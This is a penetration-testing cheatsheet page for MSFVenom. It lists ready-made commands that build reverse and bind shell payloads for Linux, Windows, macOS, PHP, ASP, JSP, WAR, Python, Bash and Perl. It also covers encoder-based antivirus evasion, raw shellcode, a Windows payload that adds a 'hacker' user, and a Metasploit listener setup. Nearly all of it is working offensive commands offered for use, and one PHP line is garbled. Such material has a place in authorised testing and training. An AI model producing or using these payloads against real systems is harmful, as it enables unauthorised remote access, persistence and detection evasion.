

[Home](#)[Walkthroughs](#)[Hack The Box](#)[HTB Hard](#)[Hack The Box: Brainf#@k](#)[Hack The Box: Shrek](#)[HTB Medium](#)[Hack The Box: Active](#)[Hack The Box: Bastard](#)[Hack The Box: DevOops](#)[Hack The Box: Dropzone](#)[Hack The Box: Popcorn](#)[Hack The Box: Sense](#)[Hack The Box: Tenten](#)[HTB Easy](#)[Hack The Box: Beep](#)[Hack The Box: Blue](#)[Hack The Box: Bounty](#)[Hack The Box: Lamé](#)[Hack The Box: Sunday](#)[Hack The Box: Valentine](#)[VulnHub – Coming Soon](#)[Tutorials](#)[Web Exploits](#)[Web Exploit – HTTP-PUT](#)[Metasploitable 3 – Exploiting Manage Engine Desktop Central 9](#)[Wireless Exploits – Coming Soon](#)[Tools](#)[Gobuster](#)[Gobuster Cheatsheet](#)[Hydra](#)[Hydra – Brute Force Techniques](#)[Hydra – Brute Force HTTP\(S\)](#)[Metasploit](#)[Metasploitable 3 – Exploiting Manage Engine Desktop Central 9](#)

[MSFVenom](#)[MSFVenom Cheatsheet](#)[Nikto](#)[Nikto Cheatsheet](#)[NMAP](#)[NMAP Cheatsheet](#)[Nmap Scripting Engine – HTTP](#)[Nmap Scripting Engine – MySQL](#)[Nmap Scripting Engine – Windows Scans](#)[Netcat – Coming Soon](#)[Wireshark – Coming Soon](#)[Powershell Empire – Coming Soon](#)[Scripting – Coming Soon](#)[Resources](#)[Knowledge – Coming Soon](#)[Threat Hunting – Coming Soon](#)[Books](#)[Contact](#)

# MSFVenom Cheatsheet



## List payloads

```
msfvenom -l
```

## Binaries Payloads

### Linux Meterpreter Reverse Shell

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f elf > shell.elf
```

**Linux Bind Meterpreter Shell**

```
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=<Remote IP Address> LPORT=<Local Port> -f elf > bind.elf
```

**Linux Bind Shell**

```
msfvenom -p generic/shell_bind_tcp RHOST=<Remote IP Address> LPORT=<Local Port> -f elf > term.elf
```

**Windows Meterpreter Reverse TCP Shell**

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f exe > shell.exe
```

**Windows Reverse TCP Shell**

```
msfvenom -p windows/shell/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f exe > shell.exe
```

**Windows Encoded Meterpreter Windows Reverse Shell**

```
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
```

**Mac Reverse Shell**

```
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f macho > shell.macho
```

**Mac Bind Shell**

```
msfvenom -p osx/x86/shell_bind_tcp RHOST=<Remote IP Address> LPORT=<Local Port> -f macho > bind.macho
```

**Web Payloads****PHP Meterpreter Reverse TCP**

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.php  
cat shell.php | pbcopy && echo "<?php `if -d \n` > shell.php && pbpaste >> shell.php"
```

**ASP Meterpreter Reverse TCP**

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f asp > shell.asp
```

**JSP Java Meterpreter Reverse TCP**

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.jsp
```

**WAR**

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f war > shell.war
```

**Scripting Payloads****Python Reverse Shell**

```
msfvenom -p cmd/unix/reverse_python LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.py
```

**Bash Unix Reverse Shell**

```
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
```

**Perl Unix Reverse shell**

```
msfvenom -p cmd/unix/reverse_perl LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.pl
```

**Shellcode****Windows Meterpreter Reverse TCP Shellcode**

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f <language>
```

**Linux Meterpreter Reverse TCP Shellcode**

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f <language>
```

**Mac Reverse TCP Shellcode**

```
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f <language>
```

**Create User**

```
msfvenom -p windows/adduser USER=hacker PASS=Hacker123$ -f exe > adduser.exe
```

**Metasploit Handler**

```
use exploit/multi/handler  
set PAYLOAD <Payload name>  
set RHOST <Remote IP>  
set LHOST <Local IP>  
set LPORT <Local Port>  
Run
```

[Previous post](#)

[Web Exploit – HTTP-PUT](#)

[Next post](#)

[Nikto Cheatsheet](#)